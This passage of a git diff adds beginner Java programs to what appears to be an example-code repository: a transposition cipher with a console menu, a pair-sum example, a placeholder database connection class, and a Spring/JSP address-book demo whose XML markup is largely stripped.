(!key.contains(Integer.toString(i))) { + System.out.println("Each digit of key must be within the range from 0 to the length of the key."); + return false; + } + } + return true; + } + + public static boolean checkForRepeatedDigitInKey(String key) { + // needs to check whether each number in the key is unique. + String curDigit = ""; + for (int i = 0; i < key.length(); i++) { + if (i < key.length() - 1) { + curDigit = key.substring(i, i + 1); + String restOfKey = key.substring(i + 1); + if (restOfKey.contains(curDigit)) { + System.out.println("Cannot have recurring numbers."); + return false; + } + } + } + return true; + }*/ + + public static boolean checkKeyDigits(String key) + { + int N = key.length(); + int sum = 0; + int digit = 0; + for (int i = 0; i < N; i++) + { + digit = Integer.parseInt(Character.toString(key.charAt(i))); + sum += digit; + } + int expectedSum = ((N)*(N-1)/2); + System.out.println(Integer.toString(sum)); + System.out.println(Integer.toString(expectedSum)); + if(sum == expectedSum) + return true; + else + return false; + } + + // function for reading a file + public String readFromInputFile(String inputFilename) { + String lines = ""; + String content = ""; + + try { + BufferedReader fileReader = new BufferedReader(new FileReader(inputFilename)); + + lines = fileReader.readLine(); + + while (lines != null) { + content = content + lines; + + if ((lines = fileReader.readLine()) != null) { + content = content + " "; + } + } + + fileReader.close(); + return content; + + } catch (IOException ioe) { + System.out.println("Error reading file."); + } + return lines; + } + + public boolean writeToOutputFile(String data, String outputFilename) { + + try { + PrintWriter pw = new PrintWriter(outputFilename); + pw.print(data); + pw.close(); + return true; + } catch (IOException ioe) { + System.out.println("Failed to write to output file."); + } + + return false; + + } + + public String encryptUsingTransposition(String input, String key) { + + int numberOfCols = key.length(); + int numberOfRows = 0; + + if (input.length() % numberOfCols > 0) { + numberOfRows = (input.length() / numberOfCols) + 1; + } + + if (input.length() % numberOfCols == 0) { + numberOfRows = input.length() / numberOfCols; + } + + char[][] characterMap; + characterMap = new char[numberOfRows][numberOfCols]; + + for (int row = 0; row < numberOfRows; row++) { + for (int col = 0; col < numberOfCols; col++) { + characterMap[row][col] = ' '; + } + } + int rows = 0; + int cols = 0; + + for (int i = 0; i < input.length(); i++) { + characterMap[rows][cols] = input.charAt(i); + cols++; + if (cols == numberOfCols) { + rows++; + cols = 0; + } + } + + // need to append back into a string according to the key. + int curCols = 0; + String result = ""; + + for (int i = 0; i < key.length(); i++) { + + if (i == key.length() - 1) { + curCols = Integer.parseInt(key.substring(i)); + } else { + curCols = Integer.parseInt(key.substring(i, i + 1)); + } + + for (int k = 0; k < numberOfRows; k++) { + result = result + characterMap[k][curCols]; + } + + } + + return result; + } + + public String decryptUsingTransposition(String data, String key) { + int numberOfCols = key.length(); + int numberOfRows = 0; + + if (data.length() % numberOfCols > 0) { + numberOfRows = (data.length() / numberOfCols) + 1; + } + + if (data.length() % numberOfCols == 0) { + numberOfRows = data.length() / numberOfCols; + } + + char[][] characterMap = new char[numberOfRows][numberOfCols]; + + for (int row = 0; row < numberOfRows; row++) { + for (int col = 0; col < numberOfCols; col++) { + characterMap[row][col] = ' '; + } + } + + int curCols = 0; + int dataIndex = 0; + String result = ""; + + // Fills up the columns of the characterMap by column. + for (int i = 0; i < key.length(); i++) { + if (i == key.length() - 1) { + curCols = Integer.parseInt(key.substring(i)); + } else { + curCols = Integer.parseInt(key.substring(i, i + 1)); + } + + for (int k = 0; k < numberOfRows; k++) { + if (dataIndex < data.length()) { + characterMap[k][curCols] = data.charAt(dataIndex); + dataIndex++; + } + } + } + + // Reads characterMap left to right, from row 0 to last row. + for (int row = 0; row < numberOfRows; row++) { + for (int col = 0; col < numberOfCols; col++) { + result = result + characterMap[row][col]; + } + } + + return result; + + } + +} + +public class Main { + + // just so that we don't have to write sop repeatedly + + public static void print(String str) { + System.out.print(str); + } + + public static void println(String str) { + System.out.println(str); + } + + public void printerr(Exception e) { + err.println("Error occured: " + e); + } + + public static void decorate(char c) { + for (int i = 0; i < 36; i++) { + print(Character.toString(c)); + } + + } + + // source: stackOverflow + public static void clearScreen() { + try { + // for windows + if (System.getProperty("os.name").contains("Windows")) + new ProcessBuilder("cmd", "/c", "cls").inheritIO().start().waitFor(); + // for linux based O.S + else + Runtime.getRuntime().exec("clear"); + } catch (Exception ex) { + } + } + + public static void getMenu() throws InterruptedException, InputMismatchException, IOException { + Scanner scan = new Scanner(System.in); + String plainText; + String encryptedText; + String decryptedText; + String key; + String inputFile; + String outputFile; + TranspositionCipher tCipher = new TranspositionCipher(); + do { + + clearScreen(); + decorate('-'); + println("\nChoose one of the following options:"); + decorate('-'); + println("\n0. Exit"); + println("1. Encrypt Text using Transposition Cipher"); + println("2. Decrypt Text using Transposition Cipher"); + println("3. Encrypt File using Transposition Cipher"); + println("4. Decrypt File using Transposition Cipher"); + println("11. Rules for selecting Transposition key"); + print("Enter your option : "); + int option = scan.nextInt(); + + switch (option) { + + case 0: + println("Exiting......"); + System.exit(0); + + case 1: + scan.nextLine(); // because as we press enter after selecting the option it might read it as out + // plain text + print("Enter Text to be Encrypted : "); + plainText = scan.nextLine(); + + print("Enter an integer key (checkout option 11 for rules of choosing a key) : "); + key = scan.next(); + + if (!tCipher.checkKey(key)) { + println("Incorrect Key check out option 11"); + println("refreshing in 3 seconds..."); + Thread.sleep(2000); + break; + } + println("key is correct"); + + encryptedText = tCipher.encryptUsingTransposition(plainText, key); + + println("Encrypted text is : " + encryptedText); + + print("Screen will automatically refresh in 4 seconds...."); + Thread.sleep(4000); + + break; + + case 2: + scan.nextLine(); // same as above + print("Enter Text to be Decrypted : "); + final String enText = scan.nextLine(); + print("Enter the key which you previously entered : "); + key = scan.next(); + + if (!tCipher.checkKey(key)) { + println("Incorrect Key check out option 11"); + println("refreshing in 3 seconds..."); + Thread.sleep(3000); + break; + } + + println("key is correct"); + + decryptedText = tCipher.decryptUsingTransposition(enText, key); + + println("Decrypted text is : " + decryptedText); + + print("Screen will automatically refresh in 4 seconds...."); + + Thread.sleep(6000); + + break; + + case 3: + println("Enter Input File Name : "); + inputFile = scan.next(); + + println("Enter Output File Name : "); + outputFile = scan.next(); + + println("Enter Key : "); + key = scan.next(); + + if (!tCipher.checkKey(key)) { + println("Incorrect Key check out option 11"); + println("refreshing in 3 seconds..."); + Thread.sleep(2000); + break; + } + println("key is correct"); + + plainText = tCipher.readFromInputFile(inputFile); + encryptedText = tCipher.encryptUsingTransposition(plainText, key); + + if (tCipher.writeToOutputFile(encryptedText, outputFile)) { + println("successfully copied Encrypted message to " + outputFile); + } else { + throw new IOException("IO exception file output error "); + } + + break; + + case 4: + println("Enter Input File Name : "); + inputFile = scan.next(); + + println("Enter Output File Name : "); + outputFile = scan.next(); + + println("Enter Key : "); + key = scan.next(); + + if (!tCipher.checkKey(key)) { + println("Incorrect Key check out option 11"); + println("refreshing in 3 seconds..."); + Thread.sleep(2000); + break; + } + println("key is correct"); + + plainText = tCipher.readFromInputFile(inputFile); + decryptedText = tCipher.decryptUsingTransposition(plainText, key); + + if (tCipher.writeToOutputFile(decryptedText, outputFile)) { + println("successfully copied Decrypted message to " + outputFile); + } else { + throw new IOException("IO exception file output error "); + } + + break; + + case 11: + println("Rules for selecting a key : "); + println("1. Key shouldn't be too long, allowing cipher keys with length up to 10."); + println("2. It shouldn't have recurring numbers."); + println("3. Each digit of key must be within the range from 0 to the length of the key."); + println("refreshing in 5 seconds..."); + Thread.sleep(5000); + + break; + default: + println("Enter a valid option :) "); + Thread.sleep(1000); + break; + } + + } while (true); + + } + + public static void main(String... args) { + try { + getMenu(); + } catch (IOException ioe) { + err.println(ioe); + } catch (InputMismatchException ime) { + println("Enter one of the valid option"); + } catch (Exception exception) { + exception.printStackTrace(); + } + } +} \ No newline at end of file diff --git a/Java/TranspositionCipher/TranspositionCipher.class b/Java/TranspositionCipher/TranspositionCipher.class new file mode 100644 index 000000000..da6e36e20 Binary files /dev/null and b/Java/TranspositionCipher/TranspositionCipher.class differ diff --git a/Java/TranspositionCipher/decrypted.txt b/Java/TranspositionCipher/decrypted.txt new file mode 100644 index 000000000..b16bb0bd3 --- /dev/null +++ b/Java/TranspositionCipher/decrypted.txt @@ -0,0 +1 @@ +hello this is a sample text file. I'm writing this just to confirm. \ No newline at end of file diff --git a/Java/TranspositionCipher/encrypted.txt b/Java/TranspositionCipher/encrypted.txt new file mode 100644 index 000000000..e654d394e --- /dev/null +++ b/Java/TranspositionCipher/encrypted.txt @@ -0,0 +1 @@ +hltss mee l mri ijtooi.l iiaaltti.'wtgh stcfm eoh sp xfeI intsu nr \ No newline at end of file diff --git a/Java/TranspositionCipher/plain.txt b/Java/TranspositionCipher/plain.txt new file mode 100644 index 000000000..fad2595b0 --- /dev/null +++ b/Java/TranspositionCipher/plain.txt @@ -0,0 +1 @@ +hello this is a sample text file. I'm writing this just to confirm. \ No newline at end of file diff --git a/Java/TranspositionCipher/readme.md b/Java/TranspositionCipher/readme.md new file mode 100644 index 000000000..86ced90aa --- /dev/null +++ b/Java/TranspositionCipher/readme.md @@ -0,0 +1,10 @@ + +### Steps for running the program: +1. `javac Main.java` +2. `java Main` +3. Follow on screen instructions + +### Choosing a Key: +1. Choose a key of length 1-10 +2. Key should be exclusive of the length of the key and each character should be unique, i.e. if key is of length 5, it could be any combination of 0-4, e.g. '01234', '43210', '32401' etc +3. Examples of invalid key, '111', '19111', '999' etc. \ No newline at end of file diff --git a/Java/TwoPointers.java b/Java/TwoPointers.java new file mode 100644 index 000000000..611aa7f59 --- /dev/null +++ b/Java/TwoPointers.java @@ -0,0 +1,47 @@ +// Java Program Illustrating Naive Approach to +// Find if There is a Pair in A[0..N-1] with Given Sum + +// Importig all input output classes +import java.io.*; + +// Main class +class TwoPointers { + // Main driver method + public static void main(String[] args) + { + // Declaring and initializing array + int arr[] = { 3, 5, 9, 2, 8, 10, 11 }; + + int val = 17; + + System.out.println(isPairSum(arr, arr.length, val)); + } + // To find Pairs in A[0..N-1] with given sum + private static int isPairSum(int A[], int N, int X) + { + // Nested for loops for iterations + for (int i = 0; i < N; i++) { + for (int j = i + 1; j < N; j++) { + // As equal i and j means same element + if (i == j) + + // continue keyword skips the execution + // for following condition + continue; + + // Condition check if pair exists + if (A[i] + A[j] == X) + return 1; + + // By now the array is sorted + if (A[i] + A[j] > X) + + // Break keyword to hault the execution + break; + } + } + + // No pair found with given sum. + return 0; + } +} diff --git a/Java/UsingSQL/DBConnection.java b/Java/UsingSQL/DBConnection.java new file mode 100644 index 000000000..e9ecda369 --- /dev/null +++ b/Java/UsingSQL/DBConnection.java @@ -0,0 +1,40 @@ +//Replace with you own data. + +package com.; + +import java.sql.*; +import java.sql.SQLException; + + +/*Create object of this class in all other servers and use + createConnection() method to establish connection with database*/ + +public class DBConnection { + public static Connection createConnect() { + Connection con = null; + String url = "jdbc:mysql://localhost:/"; + String uname = ""; + String pass = ""; + + try { + try { + Class.forName("com.mysql.cj.jdbc.Driver"); + } + catch (ClassNotFoundException e) + { + e.printStackTrace(); + } + con = DriverManager.getConnection(url, uname, pass); + System.out.println("Post establishing a DB connection - " +con); + + } + catch(SQLException e) + { + System.out.println("Error Occurred"); + e.printStackTrace(); + } + return con; + + } + +} \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/.gitignore b/Java/UsingSQL/JSPLoginForm/.gitignore new file mode 100644 index 000000000..96ef862d5 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/.gitignore @@ -0,0 +1,2 @@ +target/ +.idea/ diff --git a/Java/UsingSQL/JSPLoginForm/pom.xml b/Java/UsingSQL/JSPLoginForm/pom.xml new file mode 100644 index 000000000..a9b0311ee --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/pom.xml @@ -0,0 +1,348 @@ + + 4.0.0 + http://maven.apache.org + + com.todc.addressbook + address-book-demo + war + 1.0.0 + Address Book Demo + + + + todc + Tim O'Donnell + tim@timodonnell.com + + Author + + http://www.timodonnell.com + + + + + UTF-8 + + dev + + 1.1 + 1.4 + 3.1 + 4.1.11.Final + 4.0.2.GA + 2.2.9 + 2.1.1 + 1.6 + 1.0.0.GA + 1.4.5 + 2.0-alpha-3 + 1.2 + 4.10 + 1.0.6 + 1.0.1 + 2.2 + [2.2.1,3.1.0] + 5.1.18 + 2.5 + 2.4.2 + 1.6.6 + 3.2.2.RELEASE + 1.2.0.RELEASE + 3.1.3.RELEASE + 7.0.30 + 3.2.0 + + + + + + + + + + + + junit + junit + ${junit.version} + test + + + + javax.servlet + servlet-api + ${servlet.version} + provided + + + + + + org.springframework + spring-aop + ${spring.version} + + + org.springframework + spring-aspects + ${spring.version} + + + org.springframework + spring-orm + ${spring.version} + + + org.springframework + spring-webmvc + ${spring.version} + + + org.springframework.data + spring-data-jpa + ${spring-data-jpa.version} + + + + + + org.springframework.security + spring-security-config + ${spring-security.version} + + + org.springframework.security + spring-security-acl + ${spring-security.version} + + + org.springframework.security + spring-security-ldap + ${spring-security.version} + + + org.springframework.security + spring-security-taglibs + ${spring-security.version} + + + org.springframework.security + spring-security-web + ${spring-security.version} + + + + + + org.slf4j + slf4j-api + ${slf4j.version} + + + org.slf4j + jcl-over-slf4j + ${slf4j.version} + + + org.slf4j + jul-to-slf4j + ${slf4j.version} + + + ch.qos.logback + logback-core + ${logback.version} + + + ch.qos.logback + logback-classic + ${logback.version} + + + + + + org.hibernate + hibernate-core + ${hibernate.version} + + + org.hibernate.javax.persistence + hibernate-jpa-2.0-api + 1.0.0.Final + + + org.hibernate + hibernate-entitymanager + ${hibernate.version} + runtime + + + + mysql + mysql-connector-java + ${mysql-connector.version} + + + org.hsqldb + hsqldb + ${hsqldb.version} + + + + + + commons-dbcp + commons-dbcp + ${commons-dbcp.version} + + + org.apache.commons + commons-lang3 + ${commons.lang3.version} + + + + + javax.validation + validation-api + ${javax-validation.version} + + + org.hibernate + hibernate-validator + ${hibernate-validator.version} + + + + opensymphony + sitemesh + ${sitemesh.version} + + + + org.tuckey + urlrewritefilter + ${urlrewrite.version} + + + + com.fasterxml.jackson.core + jackson-databind + ${jackson.version} + + + + + javax.activation + activation + ${activation.version} + + + javax.mail + mail + ${javamail.version} + + + javax.servlet + jstl + ${jstl.version} + + + + + + + ${project.artifactId} + + + + src/main/resources/common + true + + + src/main/resources/dev + + + + + + + + org.apache.maven.plugins + maven-enforcer-plugin + ${maven.enforcer.plugin} + + + enforce-banned-dependencies + + enforce + + + + + true + + javassist:javassist + commons-logging + aspectj:aspectj* + hsqldb:hsqldb + log4j:log4j + org.slf4j:1.5* + org.springframework:2.* + org.springframework:3.0.* + + + + ${maven.version.range} + + + ${java.version} + + + true + + + + + + + + org.codehaus.mojo + jspc-maven-plugin + + + jspc + + compile + + + + + + + + org.apache.maven.plugins + maven-war-plugin + 2.2 + + ${basedir}/target/jspweb.xml + **/*.jsp + + + + + + diff --git a/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/domain/Contact.java b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/domain/Contact.java new file mode 100644 index 000000000..bc564d09a --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/domain/Contact.java @@ -0,0 +1,95 @@ +package com.todc.addressbook.domain; + + +import org.apache.commons.lang.builder.ToStringBuilder; +import org.hibernate.validator.constraints.NotEmpty; + +import javax.persistence.*; +import javax.validation.constraints.NotNull; + + +/** + * @author Tim O'Donnell (tim.odonnell@imperva.com) + */ +@Entity +@NamedQuery(name = "Contact.findAll", query = "SELECT c FROM Contact c ORDER BY last_name ASC") +@Table(name = "contacts") +public class Contact { + + + // ----------------------------------------------------- Instance Variables + + + @Id @GeneratedValue(strategy=GenerationType.IDENTITY) + @Column(name = "id") + private Long id; + + @Column(name = "prefix") + private String prefix; + + @Column(name = "first_name") + private String firstName; + + @NotEmpty + @Column(name = "last_name") + private String lastName; + + @Column(name = "email") + private String email; + + + // --------------------------------------------------------------- Mutators + + + public Long getId() { + return id; + } + + public void setId(Long p_id) { + id = p_id; + } + + public String getPrefix() { + return prefix; + } + + public void setPrefix(String p_prefix) { + prefix = p_prefix; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String p_firstName) { + firstName = p_firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String p_lastName) { + lastName = p_lastName; + } + + public String getEmail() { + return email; + } + + public void setEmail(String p_email) { + email = p_email; + } + + + // --------------------------------------------------------- Public Methods + + + public String toString() { + return ToStringBuilder.reflectionToString(this); + } + + public boolean isNew() { + return id == null; + } +} diff --git a/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/repository/ContactRepository.java b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/repository/ContactRepository.java new file mode 100644 index 000000000..84d135ef5 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/repository/ContactRepository.java @@ -0,0 +1,20 @@ +package com.todc.addressbook.repository; + + +import com.todc.addressbook.domain.Contact; + +import org.springframework.data.jpa.repository.JpaRepository; + +import java.util.List; + + +/** + * @author Tim O'Donnell (tim.odonnell@imperva.com) + */ +public interface ContactRepository extends JpaRepository { + + public Contact findById(Long id); + + public List findAll(); + +} diff --git a/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/web/ContactController.java b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/web/ContactController.java new file mode 100644 index 000000000..e5faccfa7 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/addressbook/web/ContactController.java @@ -0,0 +1,130 @@ +package com.todc.addressbook.web; + + +import com.todc.addressbook.domain.Contact; +import com.todc.addressbook.repository.ContactRepository; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Controller; +import org.springframework.ui.Model; +import org.springframework.ui.ModelMap; +import org.springframework.validation.BindingResult; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.servlet.ModelAndView; +import org.springframework.web.servlet.mvc.support.RedirectAttributes; +import org.springframework.web.servlet.view.RedirectView; + +import javax.validation.Valid; +import java.util.Collection; +import java.util.List; + + +/** + * @author Tim O'Donnell (odonnellt@gmail.com) + */ +@Controller +public class ContactController { + + private static final Logger LOG = LoggerFactory.getLogger(ContactController.class); + + + // ----------------------------------------------------- Instance Variables + + + @Autowired + private ContactRepository contactRepo; + + + // --------------------------------------------------------------- Mutators + + + public ContactRepository getContactRepo() { + return contactRepo; + } + + public void setContactRepo(ContactRepository p_contactRepo) { + contactRepo = p_contactRepo; + } + + + // --------------------------------------------------------- Public Methods + + +// @InitBinder +// protected void initBinder(WebDataBinder binder) { +// binder.setValidator(new ContactValidator()); +// } + + + /** + * List all contacts. + * + * @return ModelAndView + * @throws Exception + */ + @RequestMapping(value = "/index", method = RequestMethod.GET) + public ModelAndView indexAction() throws Exception { + LOG.debug("start SampleController > indexAction"); + + List contacts = contactRepo.findAll(); + + ModelAndView mav = new ModelAndView("index"); + mav.addObject("contacts", contacts); + + return mav; + } + + + /** + * Display the New Contact form. + * + * @return ModelAndView + * @throws Exception + */ + @RequestMapping(value = "/new", method = RequestMethod.GET) + public ModelAndView newAction() throws Exception { + LOG.debug("start SampleController > newAction"); + + ModelAndView mav = new ModelAndView("new"); + mav.addObject("contact", new Contact()); + + return mav; + } + + + /** + * Create a new contact. + * + * @param newContact + * @param result + * @param flash + * @return + * @throws Exception + */ + @RequestMapping(value = "/new", method = RequestMethod.POST) + public String createAction(@Valid Contact newContact, BindingResult result, RedirectAttributes flash) throws Exception { + if (result.hasErrors()) { + return "new"; + } + + contactRepo.save(newContact); + + flash.addFlashAttribute("flash", "Success!"); + + return "redirect:index"; + } + + + @ModelAttribute("prefixes") + public String[] populatePrefixes() { + return new String[] { + "Mr.", + "Mrs.", + "Ms." + }; + } + +} diff --git a/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/web/filter/UserMDCFilter.java b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/web/filter/UserMDCFilter.java new file mode 100644 index 000000000..c4702cc27 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/java/com/todc/web/filter/UserMDCFilter.java @@ -0,0 +1,54 @@ +package com.todc.web.filter; + + +import java.io.IOException; + +import javax.servlet.Filter; +import javax.servlet.FilterChain; +import javax.servlet.FilterConfig; +import javax.servlet.ServletException; +import javax.servlet.ServletRequest; +import javax.servlet.ServletResponse; + +import org.slf4j.MDC; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.UserDetails; + + +/** + * @author Tim O'Donnell (odonnellt@gmail.com) + */ +public class UserMDCFilter implements Filter { + + private final String USER_KEY = "username"; + + public void destroy() {} + + public void doFilter(ServletRequest request, ServletResponse response, + FilterChain chain) throws IOException, ServletException { + String username = null; + + Authentication auth = SecurityContextHolder.getContext().getAuthentication(); + if (auth != null) { + Object principal = auth.getPrincipal(); + if (principal instanceof UserDetails) { + username = ((UserDetails) principal).getUsername(); + } else { + username = principal.toString(); + } + + MDC.put(USER_KEY, username); + } + + try { + chain.doFilter(request, response); + } finally { + if (username != null) { + MDC.remove(USER_KEY); + } + } + } + + public void init(FilterConfig arg0) throws ServletException {} +} diff --git a/Java/UsingSQL/JSPLoginForm/src/main/resources/common/logback.xml b/Java/UsingSQL/JSPLoginForm/src/main/resources/common/logback.xml new file mode 100644 index 000000000..4478d375d --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/resources/common/logback.xml @@ -0,0 +1,67 @@ + + + + + + true + + + + + %date [%thread] %-5level %logger{36} - [%X{username}] - %msg%n + + + + + ${catalina.base}/logs/address-book-demo.log + true + + address-book-demo.%d{yyyy-MM-dd}.log + 30 + + + %date [%thread] %-5level %logger{36} - [%X{username}] - %msg%n + + + + + localhost + + + test@localhost + noreply@localhost + [ADDRESS_BOOK] %X{username} - %m + + %date %-5level %logger{36} - [%X{username}] - %message%n + + + + + + + + + + + + + + + + diff --git a/Java/UsingSQL/JSPLoginForm/src/main/resources/common/messages.properties b/Java/UsingSQL/JSPLoginForm/src/main/resources/common/messages.properties new file mode 100644 index 000000000..fa8ceab43 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/resources/common/messages.properties @@ -0,0 +1,40 @@ +app.name=Address Book Demo +app.buildNumber=1 +app.copyright=© 2012-2013 todc + +# -- topbar menu items -- +topbar.login=Login +topbar.logout=Logout +topbar.settings=Settings + +# -- general values -- +date.format=MM/dd/yyyy +icon.information=Information +icon.warning=Warning + +# -- error page messages -- +errorPage.title=An error has occurred +errorPage.heading=Oh noes! + +# -- Login page -- +page.login.title=Login +page.login.username=Username +page.login.password=Password +page.login.remember=Remember me +page.login.invalid_credentials=Invalid username or password. + + +# Form title and field/button labels +page.new_contact.title=New Contact +page.new_contact.form.prefix=Prefix +page.new_contact.form.first_name=First Name +page.new_contact.form.last_name=Last Name +page.new_contact.form.email=Email +page.new_contact.form.home_phone=Home Phone + +page.new_contact.button.save=Save +page.new_contact.button.reset=Reset + + +# Form validation errors +NotEmpty.contact.lastName=Last Name is required. \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/config.properties b/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/config.properties new file mode 100644 index 000000000..2b442f878 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/config.properties @@ -0,0 +1,6 @@ +jdbc.driver=org.hsqldb.jdbcDriver +jdbc.url=jdbc:hsqldb:hsql://localhost +jdbc.username=sa +jdbc.password= +jpa.database=HSQL +jpa.showSql=false \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/db/schema.sql b/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/db/schema.sql new file mode 100644 index 000000000..c0e53256b --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/db/schema.sql @@ -0,0 +1,8 @@ +CREATE TABLE contacts ( + id IDENTITY, + prefix VARCHAR(8), + first_name VARCHAR(128), + last_name VARCHAR(128), + email VARCHAR(256), + home_phone VARCHAR(64) +); \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/db/seed.sql b/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/db/seed.sql new file mode 100644 index 000000000..60dc03531 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/resources/dev/db/seed.sql @@ -0,0 +1,2 @@ +INSERT INTO contacts (prefix, first_name, last_name, email, home_phone) VALUES ('Mr.', 'Tim', 'O''Donnell', 'tim@timodonnell.com', '555.555.1111'); +INSERT INTO contacts (prefix, first_name, last_name, email, home_phone) VALUES (NULL, 'Bob', 'Jones', 'bob.jones@domain.com', '555.555.2222'); \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/applicationContext-repositories.xml b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/applicationContext-repositories.xml new file mode 100644 index 000000000..923779e74 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/applicationContext-repositories.xml @@ -0,0 +1,54 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/applicationContext-security.xml b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/applicationContext-security.xml new file mode 100644 index 000000000..f94fa6239 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/applicationContext-security.xml @@ -0,0 +1,87 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/decorators.xml b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/decorators.xml new file mode 100644 index 000000000..99b06ddf8 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/decorators.xml @@ -0,0 +1,19 @@ + + + + + + /css/* + /img/* + /js/* + *.json + *.html + + + + /* + + + diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/decorators/layout.jsp b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/decorators/layout.jsp new file mode 100644 index 000000000..1b3590969 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/decorators/layout.jsp @@ -0,0 +1,56 @@ +<%@ taglib prefix="decorator" uri="http://www.opensymphony.com/sitemesh/decorator" %> +<%@ include file="/common/taglibs.jsp"%> + + + <decorator:title default="Address Book Demo" /> + + + + + + + + + + + + +> + + + + + +
    + + (build ) +
    + + + diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/dispatcher-servlet.xml b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/dispatcher-servlet.xml new file mode 100644 index 000000000..e83fa809c --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/dispatcher-servlet.xml @@ -0,0 +1,51 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/urlrewrite.xml b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/urlrewrite.xml new file mode 100644 index 000000000..e5dd2f673 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/urlrewrite.xml @@ -0,0 +1,79 @@ + + + + + + + + + + /app/** + %{context-path}/$1 + + + /j_spring_security_check + /j_spring_security_check + + + /j_spring_security_logout + /j_spring_security_logout + + + + + /login* + /login.jsp + + + + /logout* + /j_spring_security_logout + + + + /favicon* + /favicon.ico + + + + + /img/** + /img/$1 + + + /js/** + /js/$1 + + + /css/** + /css/$1 + + + + + + /** + /app/$1 + + + /app/** + /$1 + + + + + + + \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/views/index.jsp b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/views/index.jsp new file mode 100644 index 000000000..4bb3dd348 --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/views/index.jsp @@ -0,0 +1,37 @@ +<%@ include file="/common/taglibs.jsp" %> + + + Address Book Demo :: Welcome + + + +
    + +

    Contact List

    + + + + + + + + + + + + + + + + + + + + + + +
    IDFirst NameLast NameEmailOperations
    ${contact.id}${contact.firstName}${contact.lastName}${contact.email}
    + +
    + + \ No newline at end of file diff --git a/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/views/new.jsp b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/views/new.jsp new file mode 100644 index 000000000..11affa76c --- /dev/null +++ b/Java/UsingSQL/JSPLoginForm/src/main/webapp/WEB-INF/views/new.jsp @@ -0,0 +1,63 @@ +<%@ include file="/common/taglibs.jsp" %> + + + Address Book Demo :: New Contact + + + + +
    +
    +
    + +
    +

    + + + + + +
    + + + + +   +
    + + +
    + +
    + + +
    + +
    + + +
    + +
    + +
    + " /> + " /> +
    +
    +
    + +
    +
    +
